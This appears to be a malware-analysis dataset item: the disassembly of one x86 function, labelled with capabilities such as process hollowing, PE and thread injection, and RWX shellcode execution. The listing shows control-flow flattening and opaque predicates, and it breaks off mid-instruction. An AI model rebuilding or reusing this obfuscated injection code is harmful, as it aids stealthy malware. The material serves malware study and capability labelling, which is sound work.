Function at 0x100088b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x164
mov eax, dword [0x1006e800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x166], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x165], al
mov dword [ebp - 0x16c], 0xdc1124b8
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x170], eax
sub eax, 0x81627acd
je 0x1000f60f
jmp 0x10008923
mov eax, dword [ebp - 0x170]
sub eax, 0x8527da9d
je 0x1000e7dd
jmp 0x10008939
mov eax, dword [ebp - 0x170]
sub eax, 0x8536dd00
je 0x1000b1f8
jmp 0x1000894f
mov eax, dword [ebp - 0x170]
sub eax, 0x8595542f
je 0x1000b497
jmp 0x10008965
mov eax, dword [ebp - 0x170]
sub eax, 0x8624f620
je 0x1000ab17
jmp 0x1000897b
mov eax, dword [ebp - 0x170]
sub eax, 0x88028279
je 0x1000ba47
jmp 0x10008991
mov eax, dword [ebp - 0x170]
sub eax, 0x88b0c4ea
je 0x1000b45d
jmp 0x100089a7
mov eax, dword [ebp - 0x170]
sub eax, 0x8915f5cf
je 0x1000ea38
jmp 0x100089bd
mov eax, dword [ebp - 0x170]
sub eax, 0x893a1562
je 0x1000cfcb
jmp 0x100089d3
mov eax, dword [ebp - 0x170]
sub eax, 0x8a2967a5
je 0x1000a647
jmp 0x100089e9
mov eax, dword [ebp - 0x170]
sub eax, 0x8a82d478
je 0x1000c7be
jmp 0x100089ff
mov eax, dword [ebp - 0x170]
sub eax, 0x8ab1aa46
je 0x1000b7cf
jmp 0x10008a15
mov eax, dword [ebp - 0x170]
sub eax, 0x8d066677
je 0x1000f63f
jmp 0x10008a2b
mov eax, dword [ebp - 0x170]
sub eax, 0x8ead5cf2
je 0x1000b830
jmp 0x10008a41
mov eax, dword [ebp - 0x170]
sub eax, 0x8ecfabed
je 0x1000f082
jmp 0x10008a57
mov eax, dword [ebp - 0x170]
sub eax, 0x8ef5148f
je 0x1000de43
jmp 0x10008a6d
mov eax, dword [ebp - 0x170]
sub eax, 0x902204c2
je 0x1000d9bb
jmp 0x10008a83
mov eax, dword [ebp - 0x170]
sub eax, 0x90f5e18d
je 0x1000f3e8
jmp 0x10008a99
mov eax, dword [ebp - 0x170]
sub eax, 0x91dd4851
je 0x1000dff3
jmp 0x10008aaf
mov eax, dword [ebp - 0x170]
sub eax, 0x91fffa08
je 0x1000c07d
jmp 0x10008ac5
mov eax, dword [ebp - 0x170]
sub eax, 0x93c3b6b1
je 0x1000e5e9
jmp 0x10008adb
mov eax, dword [ebp - 0x170]
sub eax, 0x9454fecb
je 0x1000aabf
jmp 0x10008af1
mov eax, dword [ebp - 0x170]
sub eax, 0x9484439a
je 0x1000e4df
jmp 0x10008b07
mov eax, dword [ebp - 0x170]
sub eax, 0x96e6a214
je 0x1000a53f
jmp 0x10008b1d
mov eax, dword [ebp - 0x170]
sub eax, 0x9898c030
je 0x1000e4ee
jmp 0x10008b33
mov eax, dword [ebp - 0x170]
sub eax, 0x98ba53db
je 0x1000e5da
jmp 0x10008b49
mov eax, dword [ebp - 0x170]
sub eax, 0x98f6aa70
je 0x1000bba0
jmp 0x10008b5f
mov eax, dword [ebp - 0x170]
sub eax, 0x992fcda2
je 0x1000c58c
jmp 0x10008b75
mov eax, dword [ebp - 0x170]
sub eax, 0x99ed07fe
je 0x1000f838
jmp 0x10008b8b
mov eax, dword [ebp - 0x170]
sub eax, 0x99f51487
je 0x1000d78b
jmp 0x10008ba1
mov eax, dword [ebp - 0x170]
sub eax, 0x9a0287dd
je 0x1000afad
jmp 0x10008bb7
mov eax, dword [ebp - 0x170]
sub eax, 0x9a1aa53b
je 0x1000f427
jmp 0x10008bcd
mov eax, dword [ebp - 0x170]
sub eax, 0x9a62398b
je 0x1000e386
jmp 0x10008be3
mov eax, dword [ebp - 0x170]
sub eax, 0x9ac7318d
je 0x1000af00
jmp 0x10008bf9
mov eax, dword [ebp - 0x170]
sub eax, 0x9afed196
je 0x1000fa2c
jmp 0x10008c0f
mov eax, dword [ebp - 0x170]
sub eax, 0x9e339dce
je 0x1000d574
jmp 0x10008c25
mov eax, dword [ebp - 0x170]
sub eax, 0x9e42e78a
je 0x1000cbcb
jmp 0x10008c3b
mov eax, dword [ebp - 0x170]
sub eax, 0x9ea882bf
je 0x1000c35a
jmp 0x10008c51
mov eax, dword [ebp - 0x170]
sub eax, 0x9ede9873
je 0x1000d2c7
jmp 0x10008c67
mov eax, dword [ebp - 0x170]
sub eax, 0x9fa1720d
je 0x1000d3e4
jmp 0x10008c7d
mov eax, dword [ebp - 0x170]
sub eax, 0xa0b393de
je 0x1000c12e
jmp 0x10008c93
mov eax, dword [ebp - 0x170]
sub eax, 0xa14df1ff
je 0x1000a4bf
jmp 0x10008ca9
mov eax, dword [ebp - 0x170]
sub eax, 0xa1ad7dd2
je 0x1000d053
jmp 0x10008cbf
mov eax, dword [ebp - 0x170]
sub eax, 0xa1cd1ece
je 0x1000d45c
jmp 0x10008cd5
mov eax, dword [ebp - 0x170]
sub eax, 0xa22f752a
je 0x1000c53b
jmp 0x10008ceb
mov eax, dword [ebp - 0x170]
sub eax, 0xa27fe5b4
je 0x1000b257
jmp 0x10008d01
mov eax, dword [ebp - 0x170]
sub eax, 0xa2b3f2aa
je 0x1000f707
jmp 0x10008d17
mov eax, dword [ebp - 0x170]
sub eax, 0xa2def9ac
je 0x1000f502
jmp 0x10008d2d
mov eax, dword [ebp - 0x170]
sub eax, 0xa325bbaa
je 0x1000eae1
jmp 0x10008d43
mov eax, dword [ebp - 0x170]
sub eax, 0xa5c94ba7
je 0x1000c52c
jmp 0x10008d59
mov eax, dword [ebp - 0x170]
sub eax, 0xa6b12aff
je 0x1000efa8
jmp 0x10008d6f
mov eax, dword [ebp - 0x170]
sub eax, 0xa70b90ac
je 0x1000d4a5
jmp 0x10008d85
mov eax, dword [ebp - 0x170]
sub eax, 0xa8499626
je 0x1000c1cf
jmp 0x10008d9b
mov eax, dword [ebp - 0x170]
sub eax, 0xa8ac9d52
je 0x1000f8da
jmp 0x10008db1
mov eax, dword [ebp - 0x170]
sub eax, 0xacaf4899
je 0x1000f751
jmp 0x10008dc7
mov eax, dword [ebp - 0x170]
sub eax, 0xad07a4a3
je 0x1000bf6d
jmp 0x10008ddd
mov eax, dword [ebp - 0x170]
sub eax, 0xad45a7c4
je 0x1000a7d2
jmp 0x10008df3
mov eax, dword [ebp - 0x170]
sub eax, 0xade2ae3f
je 0x1000dfe4
jmp 0x10008e09
mov eax, dword [ebp - 0x170]
sub eax, 0xadf0fe33
je 0x1000de94
jmp 0x10008e1f
mov eax, dword [ebp - 0x170]
sub eax, 0xb1273fb6
je 0x1000ec34
jmp 0x10008e35
mov eax, dword [ebp - 0x170]
sub eax, 0xb1605c2b
je 0x1000e08b
jmp 0x10008e4b
mov eax, dword [ebp - 0x170]
sub eax, 0xb20db604
je 0x1000a451
jmp 0x10008e61
mov eax, dword [ebp - 0x170]
sub eax, 0xb387bc11
je 0x1000d154
jmp 0x10008e77
mov eax, dword [ebp - 0x170]
sub eax, 0xb4212000
je 0x1000f600
jmp 0x10008e8d
mov eax, dword [ebp - 0x170]
sub eax, 0xb5367eca
je 0x1000dbbb
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1173b37
mov ecx, 0xa14df1ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1173b37
mov ecx, 0x96e6a214
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0xde961429
jmp 0x1000fa6c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
mov edx, ecx
sub edx, 0xd42b06fb
sub edx, 1
add edx, 0xd42b06fb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8527da9d
mov ecx, 0x21dea7cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
mov edx, ecx
add edx, 0xc8c7c3d7
sub edx, 1
sub edx, 0xc8c7c3d7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbcd596fa
mov ecx, 0x19211cf3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc7402139
mov ecx, 0x1de01a53
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe35fc156
mov ecx, 0x6ca56ca7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov eax, dword [ebp - 0xd0]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x154]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10011a50
add esp, 0xc
mov eax, dword [ebp - 0x150]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10011a50
add esp, 0xc
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x16c], 0x446707ea
jmp 0x1000fa6c
mov eax, dword [ebp - 0x14c]
mov dl, byte [eax]
mov eax, 0x76e9f015
mov ecx, 0xd13c1c05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
mov edx, eax
add edx, 0x54df7897
sub edx, 1
sub edx, 0x54df7897
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1d793c91
mov ecx, 0xa27fe5b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0xe3a54367
jmp 0x1000fa6c
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc0]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov edx, eax
mov eax, 0x9898c030
mov ecx, 0x8595542f
cmp edx, 0
cmovge eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
mov edx, eax
sub edx, 0x213bbf28
sub edx, 1
add edx, 0x213bbf28
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x48309278
mov ecx, 0x3cd0a9d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov eax, dword [ebp - 0x140]
mov dword [eax], 0
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0xb4], eax
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc486b846
mov ecx, 0x8ead5cf2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
mov edx, eax
sub edx, 0xcdbca877
sub edx, 1
add edx, 0xcdbca877
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb1273fb6
mov ecx, 0xde711372
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0x16b61432
jmp 0x1000fa6c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x792245d1
mov ecx, 0xeeaa67ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
mov edx, ecx
sub edx, 0x2c01eac4
sub edx, 1
add edx, 0x2c01eac4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1806a6b8
mov ecx, 0x3e533929
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x12c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x130]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x12c]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
add eax, 0xb51407ca
add eax, ecx
sub eax, 0xb51407ca
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb91d26c9
mov ecx, 0xa0b393de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0x4262ff2b
jmp 0x1000fa6c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb9063624
mov ecx, 0x783d8c51
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
mov edx, ecx
add edx, 0x34771fd5
sub edx, 1
sub edx, 0x34771fd5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4a8759ca
mov ecx, 0x35743d99
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0xa22f752a
jmp 0x1000fa6c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
mov edx, eax
add edx, 0x7f9bf2dd
sub edx, 1
sub edx, 0x7f9bf2dd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x367acc2b
mov ecx, 0x992fcda2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfb155806
mov ecx, 0xd5134e8e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
mov edx, ecx
add edx, 0x6d77512
sub edx, 1
sub edx, 0x6d77512
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd9fa6b5b
mov ecx, 0x1827aac7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb4212000
mov ecx, 0x574437a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8d066677
mov ecx, 0x63436d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov ecx, dword [ebp - 0x64]
sub ecx, 0x1e40690f
add ecx, 1
add ecx, 0x1e40690f
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov dword [ebp - 0x16c], 0xe40f0536
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0xc8b12b6c
jmp 0x1000fa6c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf0f9d583
mov ecx, 0x5ac7f233
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0x3280b9a6
jmp 0x1000fa6c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x523feaaf
mov ecx, 0xa70b90ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0x9f9bdf9
sub ecx, eax
add ecx, 0x9f9bdf9
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov dword [eax], 0
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x523feaaf
mov ecx, 0xc16723d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
mov edx, eax
sub edx, 0x72e04e90
sub edx, 1
add edx, 0x72e04e90
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc08d6f1
mov ecx, 0x236211da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov eax, dword [ebp - 0x110]
mov edx, dword [eax]
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x16c], 0x5d87b718
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0x46635af1
jmp 0x1000fa6c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
mov edx, eax
add edx, 0x34e3271c
sub edx, 1
sub edx, 0x34e3271c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x675c2594
mov ecx, 0xadf0fe33
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov dl, byte [ebp - 0x2d]
mov eax, 0x5754eb4a
mov ecx, 0xe3f93ecc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0x91dd4851
jmp 0x1000fa6c
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x25], al
mov dword [ebp - 0x16c], 0x1647fa67
jmp 0x1000fa6c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1c53e2f4
mov ecx, 0x7021bd21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0x5754eb4a
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0x9898c030
jmp 0x1000fa6c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
mov edx, ecx
sub edx, 0x47f6db5a
sub edx, 1
add edx, 0x47f6db5a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1a25c4d
mov ecx, 0x5338460b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0x93c3b6b1
jmp 0x1000fa6c
mov eax, dword [ebp - 0x154]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x16c], 0x32f1ddeb
jmp 0x1000fa6c
lea eax, [0x1001d1e1]
sub esp, 4
mov dword [esp], eax
call fcn.10001320
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4a800
call section..text
add esp, 8
mov eax, dword [ebp - 0x164]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x16c], 0x21dea7cf
jmp 0x1000fa6c
mov eax, dword [0x1006fb28]
mov ecx, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6ab949ee
mov ecx, 0xbc50c039
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov ecx, dword [0x1006fb28]
mov eax, dword [0x1006fb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
